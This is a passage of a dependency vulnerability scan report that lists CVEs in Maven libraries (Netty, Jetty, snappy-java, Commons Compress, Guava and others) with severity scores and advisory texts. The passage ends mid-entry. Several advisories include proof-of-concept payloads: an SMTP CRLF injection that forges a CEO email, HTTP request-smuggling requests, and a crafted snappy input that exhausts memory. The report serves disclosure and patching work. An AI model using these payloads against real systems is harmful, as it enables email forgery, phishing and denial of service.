+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) + +pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
+high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
+ +In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. + +
+
+ +medium 5.8: CVE--2025--53864 Uncontrolled Recursion + + + + + + + + +
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.044%
EPSS Percentile14th percentile
+ +
Description +
+ +Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) + +pkg:maven/io.airlift/aircompressor@0.25
+high 8.6: CVE--2024--36114 Out-of-bounds Read + + + + + + + + +
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
+ +
Description +
+ +### Summary +All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). + +### Details +When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. + +Users should update to Aircompressor 0.27 or newer where these issues have been fixed. + +### Impact +When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 ch.qos.logback/logback-classic 1.2.10 (maven) + +pkg:maven/ch.qos.logback/logback-classic@1.2.10
+high 7.1: CVE--2023--6378 Deserialization of Untrusted Data + + + + + + + + +
Affected range<1.2.13
Fixed version1.2.13
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.613%
EPSS Percentile69th percentile
+ +
Description +
+ +A serialization vulnerability in logback receiver component part of logback allows an attacker to mount a Denial-Of-Service attack by sending poisoned data. + +This is only exploitable if logback receiver component is deployed. See https://logback.qos.ch/manual/receivers.html + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) + +pkg:maven/dnsjava/dnsjava@2.1.7
+high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity + + + + + + + + +
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
+ +
Description +
+ +### Summary + +Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. + +### Details + +DNS Messages are not authenticated. They do not guarantee that + +- received RRs are authentic +- not received RRs do not exist +- all or any received records in a response relate to the request + +Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. +To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) + +1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases +2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) +3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. +4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. + +Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. + +dnsjava does not implement a comparable algorithm, and the provided APIs instead return either + +- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or +- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) + +If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can + +- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or +- completely exchange the relevant response records + +### Impact + +DNS(SEC) libraries are usually used as part of a larger security framework. +Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. +Here are three concrete examples of where this might be detrimental: + +- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. +- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. +- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. + +### Mitigations + +At this point, the following mitigations are recommended: + +- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). +- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. +- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) + +pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
+high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile41st percentile
+ +
Description +
+ +### Summary + +snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. + +### Scope + +All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 + +### Details +While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. + +### PoC +Compile and run the following code: +``` +package org.example; +import org.xerial.snappy.SnappyInputStream; + +import java.io.*; + +public class Main { + + public static void main(String[] args) throws IOException { + byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; + SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); + byte[] out = new byte[50]; + try { + in.read(out); + } + catch (Exception ignored) { + } + } +} +``` + +### Impact +Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. + +### Credits +Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. + +We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) + +pkg:maven/commons-beanutils/commons-beanutils@1.9.4
+high 8.8: CVE--2025--48734 Improper Access Control + + + + + + + + +
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.077%
EPSS Percentile23rd percentile
+ +
Description +
+ +Improper Access Control vulnerability in Apache Commons. + + + +A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. + + + + + +Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). +Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. + +This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils + + 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. + + +Users of the artifact org.apache.commons:commons-beanutils2 + + 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-io/commons-io 2.11.0 (maven) + +pkg:maven/commons-io/commons-io@2.11.0
+high 8.7: CVE--2024--47554 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=2.0
<2.14.0
Fixed version2.14.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.173%
EPSS Percentile39th percentile
+ +
Description +
+ +Uncontrolled Resource Consumption vulnerability in Apache Commons IO. + +The `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input. + + +This issue affects Apache Commons IO: from 2.0 before 2.14.0. + +Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.23.4
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.077%
EPSS Percentile23rd percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.94.Final (maven) + +pkg:maven/io.netty/netty-handler@4.1.94.Final
+high 7.5: CVE--2025--24970 Improper Input Validation + + + + + + + + +
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
+ +
Description +
+ +### Impact +When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. + +### Workarounds +As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: + +``` +SslContext context = ...; +SslHandler handler = context.newHandler(....); +``` + +to: + +``` +SslContext context = ...; +SSLEngine engine = context.newEngine(....); +SslHandler handler = new SslHandler(engine, ....); +``` + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.96.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
+ +
Description +
+ +### Summary +The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors + +### Details +1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. +2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits + +### PoC + +Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder + + +Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 + +### Impact +Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
